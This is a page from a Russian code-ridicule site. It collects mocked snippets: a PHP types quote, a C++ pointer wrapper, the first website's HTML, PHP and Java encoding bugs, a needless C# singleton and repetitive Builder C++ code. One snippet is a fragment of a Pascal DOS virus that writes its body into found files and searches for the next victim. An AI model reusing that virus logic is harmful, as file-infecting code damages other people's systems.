- 1
- 2
- 3
PHP supports eight primitive types - four scalar types, two compound types and finally three special types.
8 == 4+2+3?
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+48
PHP supports eight primitive types - four scalar types, two compound types and finally three special types.
8 == 4+2+3?
http://www.php.net/manual/en/language.types.intro.php
+18
template <typename TYPE> class Ptr
{
public:
Ptr():
Pointer_(0),
IsValid_(false)
{
}
Ptr( const Ptr<TYPE> &other )
{
this->Pointer_ = other.Pointer_;
this->IsValid_ = other.IsValid_;
}
Ptr( TYPE* &ptr ):
IsValid_(true)
{
if ( std::find( Ptr<TYPE>::List_.begin(), Ptr<TYPE>::List_.end(), ptr ) == Ptr<TYPE>::List_.end() )
Ptr<TYPE>::List_.push_back( ptr );
this->Pointer_ = ptr;
}
~Ptr()
{
}
inline Ptr<TYPE>& operator = ( const Ptr<TYPE> &other )
{
this->Pointer_ = other.Pointer_;
this->IsValid_ = other.IsValid_;
return *this;
}
inline Ptr<TYPE>& operator = ( TYPE* &ptr )
{
if ( std::find( Ptr<TYPE>::List_.begin(), Ptr<TYPE>::List_.end(), ptr ) == Ptr<TYPE>::List_.end() )
Ptr<TYPE>::List_.push_back( ptr );
this->Pointer_ = ptr;
this->IsValid_ = true;
return *this;
}
inline bool operator == ( const Ptr<TYPE> &other )
{
return (this->Pointer_ == other.Pointer_) ? true:false;
}
inline bool operator != ( const Ptr<TYPE> &other )
{
return (this->Pointer_ != other.Pointer_) ? true:false;
}
inline TYPE* operator -> ()
{
return this->Pointer_;
}
inline bool isValid() const
{
if (!this->IsValid_)
return false;
return this->IsValid_ = ( (std::find( Ptr<TYPE>::List_.begin(), Ptr<TYPE>::List_.end(), this->Pointer_ ) == Ptr<TYPE>::List_.end() ) ? false:true );
}
inline void release()
{
if ( this->isValid() )
{
Ptr<TYPE>::List_.erase( std::find( Ptr<TYPE>::List_.begin(), Ptr<TYPE>::List_.end(), this->Pointer_ ) );
delete this->Pointer_;
}
this->Pointer_ = 0;
this->IsValid_ = false;
}
inline TYPE* get()
{
return this->Pointer_;
}
private:
TYPE* Pointer_;
mutable bool IsValid_;
static std::list < TYPE* > List_;
};
template <typename TYPE> std::list < TYPE* > Ptr<TYPE>::List_;
+139
<HEADER>
<TITLE>The World Wide Web project</TITLE>
<NEXTID N="55">
</HEADER>
<BODY>
<H1>World Wide Web</H1>The WorldWideWeb (W3) is a wide-area<A
NAME=0 HREF="WhatIs.html">
hypermedia</A> information retrieval
initiative aiming to give universal
access to a large universe of documents.<P>
Everything there is online about
W3 is linked directly or indirectly
to this document, including an <A
NAME=24 HREF="Summary.html">executive
summary</A> of the project, <A
NAME=29 HREF="Administration/Mailing/Overview.html">Mailing lists</A>
, <A
NAME=30 HREF="Policy.html">Policy</A> , November's <A
NAME=34 HREF="News/9211.html">W3 news</A> ,
<A
NAME=41 HREF="FAQ/List.html">Frequently Asked Questions</A> .
<DL>
<DT><A
NAME=44 HREF="../DataSources/Top.html">What's out there?</A>
<DD> Pointers to the
world's online information,<A
NAME=45 HREF="../DataSources/bySubject/Overview.html"> subjects</A>
, <A
NAME=z54 HREF="../DataSources/WWW/Servers.html">W3 servers</A>, etc.
<DT><A
NAME=46 HREF="Help.html">Help</A>
<DD> on the browser you are using
<DT><A
NAME=13 HREF="Status.html">Software Products</A>
<DD> A list of W3 project
components and their current state.
(e.g. <A
NAME=27 HREF="LineMode/Browser.html">Line Mode</A> ,X11 <A
NAME=35 HREF="Status.html#35">Viola</A> , <A
NAME=26 HREF="NeXT/WorldWideWeb.html">NeXTStep</A>
, <A
NAME=25 HREF="Daemon/Overview.html">Servers</A> , <A
NAME=51 HREF="Tools/Overview.html">Tools</A> ,<A
NAME=53 HREF="MailRobot/Overview.html"> Mail robot</A> ,<A
NAME=52 HREF="Status.html#57">
Library</A> )
<DT><A
NAME=47 HREF="Technical.html">Technical</A>
<DD> Details of protocols, formats,
program internals etc
<DT><A
NAME=40 HREF="Bibliography.html">Bibliography</A>
<DD> Paper documentation
on W3 and references.
<DT><A
NAME=14 HREF="People.html">People</A>
<DD> A list of some people involved
in the project.
<DT><A
NAME=15 HREF="History.html">History</A>
<DD> A summary of the history
of the project.
<DT><A
NAME=37 HREF="Helping.html">How can I help</A> ?
<DD> If you would like
to support the web..
<DT><A
NAME=48 HREF="../README.html">Getting code</A>
<DD> Getting the code by<A
NAME=49 HREF="LineMode/Defaults/Distribution.html">
anonymous FTP</A> , etc.</A>
</DL>
</BODY>
HTML первого в мире сайта, которому на днях исполнился 21 год.
+63
private function lowercase($s) {
$chars_hi = utf8_encode('ABCDEFGHIJKLMNOPQRSTUVWXYZАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯЁ');
$chars_lo = utf8_encode('abcdefghijklmnopqrstuvwxyzабвгдежзийклмнопрстуфхцчшщъыьэюяё');
return strtr($s, $chars_hi, $chars_lo);
}
Картина маслом: Велосипедист бьётся лбом о локали.
Сие говно выдаёт нечто из греческого алфавита вместо 'ё'.
+138
public class ImageWorkerSingleton
{
private static ImageWorkerSingleton instance;
private ImageWorkerSingleton() { }
public static ImageWorkerSingleton Instance
{
get
{
if (instance == null)
{
instance = new ImageWorkerSingleton();
}
return instance;
}
}
public void Init() {}
public string UrlToImage(Guid id, ImageTypeEnum imageType = ImageTypeEnum.PhotoUndefined)
{
...
}
public bool IsImageExist(Guid id, ImageTypeEnum imageType = ImageTypeEnum.PhotoUndefined)
{
...
}
}
И на кой, здесь синглтон о_О
−78
tg_hujak_v_zap_na_sklade
Название триггера в промышленной системе.
Hint: zap_na_sklade - таблица
+102
{ Infected it}
BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
Close(Go);
{ Say what has been done}
WriteLn(UsePath +' infected.');
Halt; {... and HALT the program}
End;
Close(Go);
End;
{The file has already been infected, search next}
Reg.AH:=$4F;
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg)
{... Until no more files found}
Until Odd(Reg.Flags);
Write(''); { Give a smile}
End.
http://www.liveinternet.ru/users/gafarov-91/post120984751/
Вторая часть.
+75
byte[] buf = new byte[8192];
int len = 0;
while ((len = is.read(buf))>0)
{
requestString += new String(buf, 0, len, "UTF-8");
}
Пока никто не кормил туда настоящий UTF-8. Только ascii.
+151
// $reg_date = "12.12.2007 15:41";
$this->reg_date = strptime($reg_date, "%d.%m.%Y %H:%M");
// и теперь обратно. Казалось бы, все просто, ан нет!
$rd = $this->reg_date;
$reg_date = mktime($rd['tm_hour'], $rd['tm_min'], 0, $rd['tm_mon']+1, $rd['tm_mday'], 1900+$rd['tm_year']); //как это???
$reg_date = strftime("%d.%m.%Y %H:%M", $reg_date);
// нормально, у strptime и strftime порядок аргументов разный
// $r_date == "12.12.2007 15:41"
Попытался написать на PHP простенькую штуку, глаза на лоб полезли от того как там делаются элементарнейшие вещи. Скажите, что все можно сделать проще и я просто плохо читал документацию!
+168
void __fastcall TForm1::ShowBits(unsigned char data)
{
if(data&0x1)ImBit0->Canvas->Brush->Color=0x0000FF00;
else ImBit0->Canvas->Brush->Color=clRed;
ImBit0->Canvas->FillRect(TRect(0,0,ImBit0->Width,ImBit0->Height));
if(data&0x2)ImBit1->Canvas->Brush->Color=0x0000FF00;
else ImBit1->Canvas->Brush->Color=clRed;
ImBit1->Canvas->FillRect(TRect(0,0,ImBit1->Width,ImBit1->Height));
if(data&0x4)ImBit2->Canvas->Brush->Color=0x0000FF00;
else ImBit2->Canvas->Brush->Color=clRed;
ImBit2->Canvas->FillRect(TRect(0,0,ImBit2->Width,ImBit2->Height));
if(data&0x8)ImBit3->Canvas->Brush->Color=0x0000FF00;
else ImBit3->Canvas->Brush->Color=clRed;
ImBit3->Canvas->FillRect(TRect(0,0,ImBit3->Width,ImBit3->Height));
if(data&0x10)ImBit4->Canvas->Brush->Color=0x0000FF00;
else ImBit4->Canvas->Brush->Color=clRed;
ImBit4->Canvas->FillRect(TRect(0,0,ImBit4->Width,ImBit4->Height));
if(data&0x20)ImBit5->Canvas->Brush->Color=0x0000FF00;
else ImBit5->Canvas->Brush->Color=clRed;
ImBit5->Canvas->FillRect(TRect(0,0,ImBit5->Width,ImBit5->Height));
if(data&0x40)ImBit6->Canvas->Brush->Color=0x0000FF00;
else ImBit6->Canvas->Brush->Color=clRed;
ImBit6->Canvas->FillRect(TRect(0,0,ImBit6->Width,ImBit6->Height));
if(data&0x80)ImBit7->Canvas->Brush->Color=0x0000FF00;
else ImBit7->Canvas->Brush->Color=clRed;
ImBit7->Canvas->FillRect(TRect(0,0,ImBit7->Width,ImBit7->Height));
}
Отображение состояния битов байта